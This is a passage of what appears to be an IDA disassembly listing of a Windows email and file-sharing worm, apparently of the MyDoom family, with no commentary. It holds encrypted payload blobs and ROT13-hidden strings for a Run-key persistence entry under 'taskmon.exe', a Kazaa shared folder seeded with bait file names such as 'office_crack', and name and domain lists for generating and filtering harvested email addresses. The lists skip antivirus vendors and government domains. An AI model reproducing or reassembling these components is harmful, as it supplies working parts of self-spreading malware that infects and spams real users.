- dd 0D3049D92h, 2A8D5BB0h, 0CA1B4236h, 5034E4D1h, 0C51CC3ACh
- dd 6C8A66E1h, 4251335Bh, 0AB233EEDh, 94EED762h, 0E9B234F4h
- dd 5EAC49D5h, 6DBCAE26h, 5B956779h, 82A48637h, 0C387AE3Dh
- dd 0B680B087h, 0BBDF43DFh, 2F65808Bh, 0CB32A81Eh, 37932AB5h
- dd 62E27943h, 0EDBA5A34h, 226C5C69h, 73D518ACh, 86C8EBE1h
- dd 4F495A2Fh, 37F343F1h, 18366FCBh, 0A12D673Dh, 124298F1h
- dd 0CAC10DB8h, 0F86B0A6Bh, 78D8D05h, 88E8979Eh, 0B8B2B650h
- dd 32CFC3D9h, 7EDA5F81h, 1DD0F75Fh, 31B4A0Dh, 3F0F7D3Ah
- dd 0F1184F0Bh, 0B588E12Bh, 0D4F72437h, 6F371F07h, 5D906BCDh
- dd 9F979642h, 2F9D9FA2h, 86405626h, 0B5AC1BF7h, 3B27BC5Ah
- dd 899DA424h, 4FA5C8D3h, 68FA36h, 195D3EBEh, 14C9F5D6h
- dd 8EE4F0C9h, 0B89362Ch, 0D1EB86E0h, 6C330A0Bh, 8636B35Bh
- dd 8ABDE492h, 0B9C7A030h, 0DED0BC5Eh, 4AC8C1ABh, 5DBF82D7h
- dd 939EA0E5h, 40D82590h, 9A0312Fh, 130B3A6h, 0AD5FD8A1h
- dd 18BC6891h, 2CF53972h, 8B6163A1h, 26411A1Eh, 0AA471B37h
- dd 0C5BBF0D9h, 4CE031E6h, 0FAE8692Ch, 0F770C611h, 0A247FB43h
- dd 0F7D5A0DAh, 0B5BFC528h, 4D17095h, 4D54D2F5h, 3D96FF69h
- dd 2CA50693h, 0C7839BAh, 23029DDBh, 965599C3h, 875B84h
- dd 34333C27h, 1DF63580h, 5EA624F3h, 0DA38EFC6h, 0DF87AADCh
- dd 3F2F72D8h, 96F6E4C4h, 35448F36h, 0D541F547h, 67692691h
- dd 2CDA13CAh, 29096D32h, 415A7311h, 3D3A0B56h, 0AC1D52F0h
- dd 0F01AA62Fh, 1431FAB7h, 0F929726h, 5FA4A4B4h, 0CD05EBEh
- dd 0B7CFCFh, 917AD36Bh, 92883854h, 0E70AE5B1h, 9A2595E0h
- dd 944AC8C8h, 0A5038227h, 0B4F17BCEh, 0B0361DF3h, 917FD10Ch
- dd 0FE257943h, 75368A52h, 0C1DBEF6Bh, 0FC623D9h, 0A415753Eh
- dd 0BABCFDC0h, 5A083CC3h, 6E8673E7h, 7057B0D5h, 0A47E0F3Ah
- dd 42D550DCh, 0AF8E0F3Fh, 40E0AB3Fh, 5494E373h, 14897F5Ch
- dd 3EDF9B2h, 0BFE2218h, 95942A8Fh, 0FA614D1Dh, 13616F26h
- dd 0C21DFE83h, 0E6FB3D0Ch, 34283F7Fh, 22AF2B9Eh, 0EBA229CDh
- dd 0B80A0B67h, 667E4968h, 0D3AAAAC0h, 6875CB2Ah, 0A7917CA0h
- dd 0A7DBDF48h, 2506FF1Ah, 0E5D70524h, 0E2EDE0ECh, 670EF9F8h
- dd 0BB915697h, 0D7CD5CF4h, 0B7BA91DFh, 5D9AB93Fh, 395DAC88h
- dd 976B71ECh, 2EC02BECh, 9DC56808h, 0B091B59h, 0B619299Ch
- dd 59955953h, 0F976120Fh, 0AF91D49Bh, 4841B04Eh, 2887EEA0h
- dd 0E9F67A6h, 0C84F3FC7h, 99C502B6h, 7364B55Ch, 0B6009B0Eh
- dd 0EB145441h, 0C5EA8309h, 658EF900h, 2461685Eh, 0E1E3F656h
- dd 0C8DA9352h, 0C6779B5Fh, 0D2CA89A2h, 0F122DBE4h, 0C91C8F1Fh
- dd 40D5E869h, 0DC4CB878h, 0B3C9F17Ch, 0A06A806Eh, 0B9842B85h
- dd 0E7CDABE0h, 9BB77F71h, 91B55A31h, 703408D2h, 0A3268C4Eh
- dd 8A2C669h, 0C89B5D9Bh, 40FD5B8Bh, 5840DC96h, 0D54210CCh
- dd 0C58BB0FCh, 0DFB28B6Dh, 1174F71Dh, 10A926DCh, 327E4A20h
- dd 61E5BE41h, 7F72E94Bh, 4306BC27h, 13F95293h, 0BE5DF61Bh
- dd 0FC29C40h, 8BC60099h
- dd 0D786F5ACh, 779E82E0h, 0E6D4FA8Bh, 18C2104Eh, 0ED283E4Bh
- dd 7F0A7CF9h, 6A87EE47h, 0FE99B976h, 5A6CAE5Dh, 1B4EB588h
- dd 8E7189EBh, 6F6F1FCh, 135C797Ch, 0F5214FB1h, 622BF554h
- dd 7063A47Dh, 4462AAB5h, 0C635912Ah, 22806698h, 2C558F58h
- dd 0B141D878h, 10722C3Ah, 0ACEFDB70h, 0E4799265h, 4AF1F51Fh
- dd 0F06B687Dh, 6D74C2E6h, 10FEC2E6h, 40C53D50h, 9A29BDAh
- dd 17D8808h, 0A5C632F9h, 2C197407h, 20A8CEF3h, 0B58DDED6h
- dd 0E56F7EA6h, 41475694h, 0EBEECCD8h, 0A4FF69Fh, 3AEE26E1h
- dd 35AB459h, 9FF77145h, 0A0358308h, 0FFA25692h, 805A6E12h
- dd 0F62EFD4Fh, 0F7A12B68h, 33FC3AA3h, 1947BD3Ch, 86D848A5h
- dd 0C22BDF55h, 1F840B6Ch, 0CF17D886h, 0FDD4E905h, 0F5DAE5EBh
- dd 63BCADA1h, 0F3033E4Eh, 1E1E8486h, 7B9ED2E7h, 3BBEA143h
- dd 0EA349FB1h, 59DB598Ah, 0AC32AF63h, 29BEC550h, 0EA04E5C5h
- dd 8901FE5Fh, 76CA7D14h, 8B4BC1F3h, 581B3C7Fh, 0CC81640Bh
- dd 0DD704435h, 473210F0h, 0D8BA8449h, 9DA480D4h, 6B08E801h
- dd 117D1139h, 3DF7E3EFh, 4718B4B0h, 8C9F3131h, 0EB8D368Ah
- dd 0E3B45288h, 17A63BCFh, 0F67CA12h, 0B44777ADh, 0BC381ECDh
- dd 0AF2BAC1Bh, 9019841h, 0B8010F03h, 39BDB411h, 2160750Dh
- dd 1461ED1Bh, 66B288BBh, 82CD9455h, 6EA1CF55h, 0EB76AF19h
- dd 2AA452B7h, 0EFB04B10h, 0EF2F9029h, 69295062h, 96A574AFh
- dd 2804A76Dh, 0A27DD20Fh, 169936FFh, 0CA76CE0h, 825746BCh
- dd 0A436EBE5h, 0E9A07C96h, 4A308F62h, 43283239h, 0A9C3AB7Eh
- dd 0F9C0218Eh, 5A234322h, 4F24FC72h, 59FA2842h, 74C4CE80h
- dd 0EE9ECB21h, 4F149855h, 22D14FECh, 5B128A5h, 13983AB9h
- dd 0C9517F7Ah, 8E9D7968h, 16ECC2B1h, 56835E24h, 4C50F326h
- dd 753478A7h, 0B57505D5h, 9BD4E0Eh, 0E131F977h, 74FB601Fh
- dd 48D155D6h, 70E969DDh, 5BAD9A1Ch, 4686F9F0h, 0F146ADCBh
- dd 0AD613AB3h, 0F3CA66A0h, 0B6F9AFB1h, 0A6CD0594h, 534E7E8Ch
- dd 66B930AFh, 2D67E1F8h, 44402A28h, 0B68A7E78h, 4EA8AFE6h
- dd 2DD6DE5Ch, 0AFADACAAh, 6FCA852Bh, 232BD815h, 0DDEC3B51h
- dd 424ACFC9h, 0AAACEE93h, 216FF02Fh, 50EF8C7Ah, 0B55C2145h
- dd 6233D73h, 0BAE52908h, 432250A9h, 936E63D2h, 28CDEEC6h
- dd 927A13AAh, 34E7B38h, 0FF7BF309h, 0B436BFA1h, 0CA40B935h
- dd 1085E517h, 86E445A9h, 2C7ED32Bh, 0A6CED5Dh, 8EC770BEh
- dd 5E6C9DD0h, 0BE96F6ADh, 0D9EEE4FBh, 57F5E898h, 1D0B387Ah
- dd 8C9E93F6h, 0FA1E47A7h, 23D3E888h, 0B0F74A54h, 85AAF560h
- dd 128D6B0Eh, 0F09A47F6h, 61717E48h, 0E21D2D40h, 0F3B3E081h
- dd 9BB9DE9Fh, 8BF4889Eh, 0D6F58C18h, 601A8A2Dh, 0E6640A93h
- dd 998173Bh, 0B4F93F1Eh, 3371BAB2h, 0D3361F6Eh, 97581671h
- dd 0D448417Dh, 5423050h, 6B4C125Bh, 0DBDBBEAFh, 19327B00h
- dd 7CC4C075h, 53B4BA4Bh, 0A34316E7h, 916A5308h, 7FC8380Dh
- dd 27328CF1h, 6761B93h, 0A108C622h, 0EE205A30h, 0C51FF67Bh
- dd 610E92AFh, 753F72D7h, 42053C0Fh, 7CF5397Dh, 3162D200h
- dd 816AD0BBh, 0ECEE56BBh, 844C5961h, 0C3BAB4C4h, 32584B01h
- dd 0F81C93DAh, 0B863F3C7h, 4CFF7F9Dh, 7355AF1Bh, 569FDCA6h
- dd 63FFFED7h, 1DBE8FABh, 0F9DE4DCBh, 0F6B7D3E5h, 9F3EEC1Ch
- dd 6531B1FAh, 5B3A427Ah, 8D27B6h, 0CE0CB50h, 9510EDFDh
- dd 85F667E6h, 598DF4FEh, 67C6FDA3h, 7ACA25F6h, 0E3677B08h
- dd 0B1B5ECC6h, 3CE741B1h, 6B16D00Dh, 6B4B7E70h, 4EDA3E1Bh
- dd 0BEBAA30h, 0D2E8A99Bh, 44B4D113h, 36BCEB06h, 0BA29D088h
- dd 0FD515EA5h, 5B129E24h, 0BAA4A36Ah, 20C67F3Ah, 0CDC9870Fh
- dd 0FC5E4CE7h, 7F79CE64h, 797AB5ADh, 35B92928h, 0C8EAAA49h
- dd 4A2DC30Ch, 0DF344F62h, 5B783646h, 46BED191h, 0D5863150h
- dd 534AD58Eh, 4627F5B9h, 952D1AAAh, 9BFC0B4Ah, 6BA223E6h
- dd 0ADD80637h, 1F3E6085h, 0C1D4EA03h, 939AA4B1h, 95908E8Fh
- dd 0C7B6A89Dh, 290CF2DBh, 0BB926C49h, 7D4816E7h, 6F2EF0B5h
- dd 9144FAB3h, 0E38A34E1h, 65009E3Fh, 17A638CDh, 0F97C028Bh
- dd 0B82FC79h, 0A09A9797h, 0D6C4B5A9h, 3C1E03EBh, 0D2A8815Dh
- dd 98622FFFh, 8E4C0DD1h, 0B4661BD3h, 0AB05905h, 902AC767h
- dd 46D465F9h, 2CAE33BBh, 42B831ADh, 88F25FCFh, 0FE5CBD21h
- dd 0A4F64BA3h, 7AC00955h, 80BAF737h, 0B6E41549h, 1C3E638Bh
- dd 0B2C8E1FDh, 78828F9Fh, 6E6C6D71h, 94867B73h, 0EAD0B9A5h
- dd 704A2707h, 26F4C599h, 0CCE935Bh, 22D8914Dh, 6812BF6Fh
- dd 0DE7C1DC1h, 8416AB43h, 5AE069F5h, 60DA57D7h, 787575E9h
- dd 0A293877Eh, 0FCE1C9B4h, 865F3B1Ah, 400DDDB0h, 2AEBAF76h
- dd 44F9B16Ch, 8E37E392h, 8A545E8h, 0B243D76Eh, 8C119924h
- dd 960F8B0Ah, 0D03DAD20h, 3A9BFF66h, 0D42981DCh, 9EE73382h
- dd 98D51558h, 0C2F3275Eh, 1C416994h, 0A6BFDBFAh, 606D7D90h
- dd 4A4B4F56h, 6459514Ch, 0AE978372h, 2805E5C8h, 0D2A3774Eh
- dd 0AC713904h, 0B66F2BEAh, 0F09D4D00h, 5AFB9F46h, 0F48921BCh
- dd 0BE47D362h, 0B835B538h, 5353C73Eh, 71655C56h, 0BFA79280h
- dd 3D19F8DAh, 0EBBB8E64h, 0C98D541Eh, 0D78F4A08h, 15C17022h
- dd 8323C66Ch, 21B54CE6h, 0EF770290h, 0ED69E86Ah, 1B8BFE74h
- dd 79DD44AEh, 75FBA18h, 0C51160B2h, 0B3F3367Ch, 0D1053C76h
- dd 1F4772A0h, 9DB9D8FAh, 4B5B6E84h, 292D343Eh, 372F2A28h
- dd 75615042h, 0E3C3A68Ch, 81552C06h, 4F17E2B0h, 4D09C88Ah
- dd 7B2BDE94h, 0D97D24CEh, 67FF9A38h, 25B140D2h, 1393169Ch
- dd 31A51C96h, 433A3431h, 85703EC7h, 0F7D6D8F9h, 996C421Bh
- dd 6B32FCC9h, 6D28E6A7h, 9F4E6020h, 1A42A83h, 932AC461h
- dd 55E06EFFh, 47C648CDh, 69DC3269h, 0BB22EC81h, 3D98F657h
- dd 0EF3E90E5h, 0D1145AA3h, 0E31A343Ch, 25501E2Fh, 97B6D8FDh
- dd 394C627Bh, 0B121C29h, 0D080607h, 3F2E2015h, 0A1840AEBh
- dd 330A8407h, 0F5C08E5Fh, 0E7A608FBh, 9BC722Bh, 5B02CCBDh
- dd 0DD7816B7h, 0F1EB055h, 71F47A03h, 0CDA831BAh, 2A21434Ah
- dd 270690Fh, 0E2D23A63h, 7969A994h, 7CBE8945h, 55918525h
- dd 1EEDC10Eh, 0EE44B553h, 47F168DFh, 8C7F9632h, 0C84ACF1Dh
- dd 0D57CA925h, 6926B326h, 4B547FBh, 1C6E8262h, 0A24CE48Ah
- dd 0B95100DDh, 4B2EE9A5h, 94B6A870h, 69273C27h, 9589687Bh
- dd 0E69D80A2h, 7F89F3EBh, 0C21436Dh, 0E883F90Bh, 9E6C6D11h
- dd 84460BDFh, 9A503168h, 0E08A37E7h, 56F49539h, 0FC8E23BBh
- dd 0D258E16Dh, 0D852CF4Fh, 0F0EDED61h, 1A0BFFF6h, 7459412Ch
- dd 0FED7B392h, 0B8855528h, 0A26327EEh, 0BC7129E4h, 6AF5B0Ah
- dd 801DBD60h, 2ABB4FE6h, 489119Ch, 0E870382h, 48B52598h
- dd 0B21377DEh, 4CA1F954h, 165FABFAh, 104D8DD0h, 3A6B9FD6h
- dd 94B9E10Ch, 1E375372h, 0D8E5F508h, 0C2C3C7CEh, 0DCD1C9C4h
- dd 260FFBEAh, 0A07D5D40h, 4A1BEFC6h, 24E9B17Ch, 2EE7A362h
- dd 6815C578h, 0D27317BEh, 6C019934h, 36BF4BDAh, 30AD2DB0h
- dd 0CBCB3FB6h, 0E9DDD4CEh, 371F0AF8h, 0B5917052h, 633306DCh
- dd 4105CC96h, 4F07C280h, 8D39E89Ah, 0FB9B3EE4h, 992DC45Eh
- dd 67EF7A08h, 65E160E2h, 930376ECh, 0F155BC26h, 7FD73290h
- dd 3D89D82Ah, 2B6BAEF4h, 497DB4EEh, 97BFEA18h, 15315072h
- dd 0C3D3E6FCh, 0A1A5ACB6h, 0AFA7A2A0h, 0EDD9C8BAh, 5B3B1E04h
- dd 0F9CDA47Eh, 0C78F5A28h
- dd 6E797328h, 2C632E63h, 2E302076h, 30322031h, 302F3430h
- dd 78782F31h, 3A787820h, 783A7878h, 6E612078h, 297964h
- dword_4A2428 dd 207D4h, 0C0000h, 1C0002h, 39h ; DATA XREF: start+32o
- dword_4A2438 dd 207D4h, 10000h, 90010h, 12h ; DATA XREF: start+3Eo
- ; const CHAR String2
- String2 db '\' ; DATA XREF: sub_4A3962+7Eo
- ; sub_4A3B88+A6o ...
- align 4
- dword_4A244C dd 7A767566h, 76636E74h, 7979712Eh, 2 dup(0) ; DATA XREF: sub_4A3962+Fo
- aFbsgjnerZvpebf db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\PbzQyt32\'
- ; DATA XREF: sub_4A3AA3+11o
- db 'Irefvba',0
- aFjrofvcpfzgkf0 db 'FjroFvcpFzgkF0',0 ; DATA XREF: sub_4A3B52+9o
- align 4
- aGnfxzba_rkr db 'gnfxzba.rkr',0 ; DATA XREF: sub_4A3B88+Fo
- aGnfxzba db 'GnfxZba',0 ; DATA XREF: sub_4A3CD7+1Eo
- aFbsgjnerZvpe_0 db 'Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha',0
- ; DATA XREF: sub_4A3CD7+10o
- align 4
- aNotepadS db 'notepad %s',0 ; DATA XREF: StartAddress+141o
- align 4
- aMessage db 'Message',0 ; DATA XREF: StartAddress+66o
- aSUSU_2u_2u_2uS db '%s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u',0 ; DATA XREF: sub_4A40B3+14Eo
- align 4
- asc_4A2534: ; DATA XREF: sub_4A40B3+117o
- unicode 0, <->,0
- asc_4A2538: ; DATA XREF: sub_4A40B3+110o
- unicode 0, <+>,0
- aDec db 'Dec',0 ; DATA XREF: sub_4A40B3+8Do
- aNov db 'Nov',0 ; DATA XREF: sub_4A40B3+86o
- aOct db 'Oct',0 ; DATA XREF: sub_4A40B3+7Fo
- aSep db 'Sep',0 ; DATA XREF: sub_4A40B3+78o
- aAug db 'Aug',0 ; DATA XREF: sub_4A40B3+71o
- aJul db 'Jul',0 ; DATA XREF: sub_4A40B3+6Ao
- aJun db 'Jun',0 ; DATA XREF: sub_4A40B3+63o
- aMay db 'May',0 ; DATA XREF: sub_4A40B3+5Co
- aApr db 'Apr',0 ; DATA XREF: sub_4A40B3+55o
- aMar db 'Mar',0 ; DATA XREF: sub_4A40B3+4Eo
- aFeb db 'Feb',0 ; DATA XREF: sub_4A40B3+47o
- aJan db 'Jan',0 ; DATA XREF: sub_4A40B3+40o
- aSat db 'Sat',0 ; DATA XREF: sub_4A40B3+39o
- aFri db 'Fri',0 ; DATA XREF: sub_4A40B3+32o
- aThu db 'Thu',0 ; DATA XREF: sub_4A40B3+2Bo
- aWed db 'Wed',0 ; DATA XREF: sub_4A40B3+24o
- aTue db 'Tue',0 ; DATA XREF: sub_4A40B3+1Do
- aMon db 'Mon',0 ; DATA XREF: sub_4A40B3+16o
- aSun db 'Sun',0 ; DATA XREF: sub_4A40B3+Fo
- aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_4A45E3+1Ao
- align 4
- aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4A45E3+Ao
- align 4
- aVagreargtrgpba db 'VagreargTrgPbaarpgrqFgngr',0 ; DATA XREF: sub_4A4681+44o
- align 4
- aJvavarg_qyy db 'jvavarg.qyy',0 ; DATA XREF: sub_4A4681+Ao
- aAhxr2004 db 'ahxr2004',0 ; DATA XREF: .text:004A11A8o
- align 4
- aBssvpr_penpx db 'bssvpr_penpx',0 ; DATA XREF: .text:004A11A4o
- align 4
- aEbbgxvgkc db 'ebbgxvgKC',0 ; DATA XREF: .text:004A11A0o
- align 4
- aFgevcTvey2_0oq db 'fgevc-tvey-2.0oqpbz_cngpurf',0 ; DATA XREF: .text:004A119Co
- aNpgvingvba_pen db 'npgvingvba_penpx',0 ; DATA XREF: .text:004A1198o
- align 4
- aVpd2004Svany db 'vpd2004-svany',0 ; DATA XREF: .text:004A1194o
- align 4
- aJvanzc5 db 'jvanzc5',0
- aT: ; DATA XREF: sub_4A46F7+19Ao
- unicode 0, <t>,0
- aBa db 'ba',0 ; DATA XREF: sub_4A46F7+192o
- align 4
- aE: ; DATA XREF: sub_4A46F7+185o
- ; sub_4A6FCD+24Fo
- unicode 0, <e>,0
- aEx db 'ex',0 ; DATA XREF: sub_4A46F7+17Do
- align 4
- aR: ; DATA XREF: sub_4A46F7+170o
- unicode 0, <r>,0
- aSc db 'sc',0 ; DATA XREF: sub_4A46F7+168o
- align 4
- aF: ; DATA XREF: sub_4A46F7+15Bo
- unicode 0, <f>,0
- aPi db 'pi',0 ; DATA XREF: sub_4A46F7+153o
- align 4
- a__1: ; DATA XREF: sub_4A46F7+124o
- ; sub_4A6FCD+1B1o ...
- unicode 0, <.>,0
- aQyqve0 db 'QyQve0',0 ; DATA XREF: sub_4A46F7+28o
- align 4
- aFbsgjnerXnmnnG db 'Fbsgjner\Xnmnn\Genafsre',0 ; DATA XREF: sub_4A46F7+10o
- aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: .text:004A4FD4o
- align 4
- aDnsquery_a db 'DnsQuery_A',0 ; DATA XREF: sub_4A4EFE+33o
- align 4
- aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4A4EFE+8o
- align 4
- aGetnetworkpara db 'GetNetworkParams',0 ; DATA XREF: .text:004A5002o
- align 4
- aSandra db 'sandra',0 ; DATA XREF: .text:004A13E8o
- align 4
- aLinda db 'linda',0 ; DATA XREF: .text:004A13E4o
- align 4
- aJulie db 'julie',0 ; DATA XREF: .text:004A13E0o
- align 4
- aJimmy db 'jimmy',0 ; DATA XREF: .text:004A13DCo
- align 4
- aJerry db 'jerry',0 ; DATA XREF: .text:004A13D8o
- align 4
- aHelen db 'helen',0 ; DATA XREF: .text:004A13D4o
- align 4
- aDebby db 'debby',0 ; DATA XREF: .text:004A13D0o
- align 4
- aClaudia db 'claudia',0 ; DATA XREF: .text:004A13CCo
- aBrenda db 'brenda',0 ; DATA XREF: .text:004A13C8o
- align 4
- aAnna db 'anna',0 ; DATA XREF: .text:004A13C4o
- align 4
- aAlice db 'alice',0 ; DATA XREF: .text:004A13C0o
- align 4
- aBrent db 'brent',0 ; DATA XREF: .text:004A13BCo
- align 4
- aAdam db 'adam',0 ; DATA XREF: .text:004A13B8o
- align 4
- aTed db 'ted',0 ; DATA XREF: .text:004A13B4o
- aFred db 'fred',0 ; DATA XREF: .text:004A13B0o
- align 4
- aJack db 'jack',0 ; DATA XREF: .text:004A13ACo
- align 4
- aBill db 'bill',0 ; DATA XREF: .text:004A13A4o
- align 4
- aStan db 'stan',0 ; DATA XREF: .text:004A13A0o
- align 4
- aSmith db 'smith',0 ; DATA XREF: .text:004A139Co
- align 4
- aSteve db 'steve',0 ; DATA XREF: .text:004A1398o
- align 4
- aMatt db 'matt',0 ; DATA XREF: .text:004A1394o
- align 4
- aDave db 'dave',0 ; DATA XREF: .text:004A1390o
- align 4
- aDan db 'dan',0 ; DATA XREF: .text:004A138Co
- aJoe db 'joe',0 ; DATA XREF: .text:004A1388o
- aJane db 'jane',0 ; DATA XREF: .text:004A1384o
- align 4
- aBob db 'bob',0 ; DATA XREF: .text:004A1380o
- ; .text:004A13A8o
- aRobert db 'robert',0 ; DATA XREF: .text:004A137Co
- align 4
- aPeter db 'peter',0 ; DATA XREF: .text:004A1378o
- align 4
- aTom db 'tom',0 ; DATA XREF: .text:004A1374o
- aRay db 'ray',0 ; DATA XREF: .text:004A1370o
- aMary db 'mary',0 ; DATA XREF: .text:004A136Co
- align 4
- aSerg db 'serg',0 ; DATA XREF: .text:004A1368o
- align 4
- aBrian db 'brian',0 ; DATA XREF: .text:004A1364o
- align 4
- aJim db 'jim',0 ; DATA XREF: .text:004A1360o
- aMaria db 'maria',0 ; DATA XREF: .text:004A135Co
- align 4
- aLeo db 'leo',0 ; DATA XREF: .text:004A1358o
- aJose db 'jose',0 ; DATA XREF: .text:004A1354o
- align 4
- aAndrew db 'andrew',0 ; DATA XREF: .text:004A1350o
- align 4
- aSam db 'sam',0 ; DATA XREF: .text:004A134Co
- aGeorge db 'george',0 ; DATA XREF: .text:004A1348o
- align 4
- aDavid db 'david',0 ; DATA XREF: .text:004A1344o
- align 4
- aKevin db 'kevin',0 ; DATA XREF: .text:004A1340o
- align 4
- aMike db 'mike',0 ; DATA XREF: .text:004A133Co
- align 4
- aJames db 'james',0 ; DATA XREF: .text:004A1338o
- align 4
- aMichael db 'michael',0 ; DATA XREF: .text:004A1334o
- aAlex db 'alex',0 ; DATA XREF: .text:004A1330o
- align 4
- aJohn db 'john',0 ; DATA XREF: .text:004A1328o
- ; .text:004A132Co
- align 4
- aAccoun db 'accoun',0 ; DATA XREF: .text:004A131Co
- align 4
- aCertific db 'certific',0 ; DATA XREF: .text:004A1314o
- align 4
- aListserv db 'listserv',0 ; DATA XREF: .text:004A1310o
- align 4
- aNtivi db 'ntivi',0 ; DATA XREF: .text:004A1300o
- align 4
- aSupport db 'support',0 ; DATA XREF: .text:004A12FCo
- aIcrosoft db 'icrosoft',0 ; DATA XREF: .text:004A12F8o
- align 4
- aAdmin db 'admin',0
- align 4
- aPage db 'page',0 ; DATA XREF: .text:004A12ECo
- align 4
- aThe_bat db 'the.bat',0 ; DATA XREF: .text:004A12E8o
- aGoldCerts db 'gold-certs',0 ; DATA XREF: .text:004A12E4o
- align 4
- aCa db 'ca',0 ; DATA XREF: .text:004A12E0o
- align 4
- aFeste db 'feste',0 ; DATA XREF: .text:004A12DCo
- align 4
- aSubmit db 'submit',0 ; DATA XREF: .text:004A12D8o
- align 4
- aNot db 'not',0 ; DATA XREF: .text:004A12D4o
- aHelp db 'help',0 ; DATA XREF: .text:004A12D0o
- align 4
- aService db 'service',0 ; DATA XREF: .text:004A12CCo
- aPrivacy db 'privacy',0 ; DATA XREF: .text:004A12C8o
- aSomebody db 'somebody',0 ; DATA XREF: .text:004A12C4o
- align 4
- aNo db 'no',0 ; DATA XREF: .text:004A12C0o
- align 4
- aSoft db 'soft',0 ; DATA XREF: .text:004A12BCo
- align 4
- aContact db 'contact',0 ; DATA XREF: .text:004A12B8o
- aSite db 'site',0 ; DATA XREF: .text:004A12B4o
- align 4
- aRating db 'rating',0 ; DATA XREF: .text:004A12B0o
- align 4
- aBugs db 'bugs',0 ; DATA XREF: .text:004A12ACo
- align 4
- aMe db 'me',0 ; DATA XREF: .text:004A12A8o
- align 4
- aYou db 'you',0 ; DATA XREF: .text:004A12A4o
- aYour db 'your',0 ; DATA XREF: .text:004A12A0o
- align 4
- aSomeone db 'someone',0 ; DATA XREF: .text:004A129Co
- aAnyone db 'anyone',0 ; DATA XREF: .text:004A1298o
- align 4
- aNothing db 'nothing',0 ; DATA XREF: .text:004A1294o
- aNobody db 'nobody',0 ; DATA XREF: .text:004A1290o
- align 4
- aNoone db 'noone',0 ; DATA XREF: .text:004A128Co
- align 4
- aWebmaster db 'webmaster',0 ; DATA XREF: .text:004A1288o
- align 4
- aPostmaster db 'postmaster',0 ; DATA XREF: .text:004A1284o
- align 4
- aSamples db 'samples',0 ; DATA XREF: .text:004A1280o
- aInfo db 'info',0 ; DATA XREF: .text:004A127Co
- align 4
- aRoot db 'root',0
- align 4
- aBe_loyal db 0Ah ; DATA XREF: .text:004A1270o
- db 0Ah
- db 'be_loyal:',0
- aMozilla db 'mozilla',0 ; DATA XREF: .text:004A1268o
- aUtgers_ed db 'utgers.ed',0 ; DATA XREF: .text:004A1264o
- align 4
- aTanford_e db 'tanford.e',0 ; DATA XREF: .text:004A1260o
- align 4
- aPgp db 'pgp',0 ; DATA XREF: .text:004A125Co
- aAcketst db 'acketst',0 ; DATA XREF: .text:004A1258o
- aSecur db 'secur',0 ; DATA XREF: .text:004A1254o
- ; sub_4A55D4+E0o
- align 4
- aIsc_o db 'isc.o',0 ; DATA XREF: .text:004A1250o
- align 4
- aIsi_e db 'isi.e',0 ; DATA XREF: .text:004A124Co
- align 4
- aRipe_ db 'ripe.',0 ; DATA XREF: .text:004A1248o
- align 4
- aArin_ db 'arin.',0 ; DATA XREF: .text:004A1244o
- align 4
- aSendmail db 'sendmail',0 ; DATA XREF: .text:004A1240o
- align 4
- aRfcEd db 'rfc-ed',0 ; DATA XREF: .text:004A123Co
- align 4
- aIetf db 'ietf',0 ; DATA XREF: .text:004A1238o
- align 4
- aIana db 'iana',0 ; DATA XREF: .text:004A1234o
- align 4
- aUsenet db 'usenet',0 ; DATA XREF: .text:004A1230o
- align 4
- aFido db 'fido',0 ; DATA XREF: .text:004A122Co
- align 4
- aLinux db 'linux',0 ; DATA XREF: .text:004A1228o
- ; .text:004A130Co
- align 4
- aKernel db 'kernel',0 ; DATA XREF: .text:004A1224o
- align 4
- aGoogle db 'google',0 ; DATA XREF: .text:004A1220o
- ; .text:004A1318o
- align 4
- aIbm_com db 'ibm.com',0 ; DATA XREF: .text:004A121Co
- aFsf_ db 'fsf.',0 ; DATA XREF: .text:004A1218o
- align 4
- aGnu db 'gnu',0 ; DATA XREF: .text:004A1214o
- aMit_e db 'mit.e',0 ; DATA XREF: .text:004A1210o
- align 4
- aBsd db 'bsd',0 ; DATA XREF: .text:004A120Co
- ; .text:004A1308o
- aMath db 'math',0 ; DATA XREF: .text:004A1208o
- align 4
- aUnix db 'unix',0 ; DATA XREF: .text:004A1204o
- ; .text:004A1304o
- align 4
- aBerkeley db 'berkeley',0
- align 4
- asc_4A2A44 db 0Ah ; DATA XREF: .text:004A11F8o
- db 0Ah
- db 0Ah,0
- aFoo_ db 'foo.',0 ; DATA XREF: .text:004A11F0o
- align 4
- a_mil db '.mil',0 ; DATA XREF: .text:004A11ECo
- align 4
- aGov_ db 'gov.',0 ; DATA XREF: .text:004A11E8o
- align 4
- a_gov db '.gov',0 ; DATA XREF: .text:004A11E4o
- align 4
- aRuslis db 'ruslis',0 ; DATA XREF: .text:004A11E0o
- align 4
- aNodomai db 'nodomai',0 ; DATA XREF: .text:004A11DCo
- aMydomai db 'mydomai',0 ; DATA XREF: .text:004A11D8o
- aExample db 'example',0 ; DATA XREF: .text:004A11D4o
- aInpris db 'inpris',0 ; DATA XREF: .text:004A11D0o
- align 4
- aBorlan db 'borlan',0 ; DATA XREF: .text:004A11CCo
- align 4
- aSopho db 'sopho',0 ; DATA XREF: .text:004A11C8o
- align 4
- aPanda db 'panda',0 ; DATA XREF: .text:004A11C4o
- align 4
- aHotmail db 'hotmail',0 ; DATA XREF: .text:004A11C0o
- aMsn_ db 'msn.',0 ; DATA XREF: .text:004A11BCo
- align 4
- aIcrosof db 'icrosof',0 ; DATA XREF: .text:004A11B8o
- aSyma db 'syma',0 ; DATA XREF: .text:004A11B4o
- align 4
- aAvp db 'avp',0
- a__ db '-._!',0 ; DATA XREF: sub_4A5108+64o
- ; sub_4A5108+FBo ...
- align 4
- a__@ db '-._!@',0 ; DATA XREF: sub_4A5108+4Ao
- ; sub_4A5108+9Bo ...
- align 4
- aAbuse db 'abuse',0 ; DATA XREF: sub_4A55D4+FAo
- align 4
- aWww db 'www',0 ; DATA XREF: sub_4A55D4+C6o
- aFcnz db 'fcnz',0 ; DATA XREF: sub_4A55D4+98o
- align 4
- aSpm db 'spm',0 ; DATA XREF: sub_4A55D4+7Fo
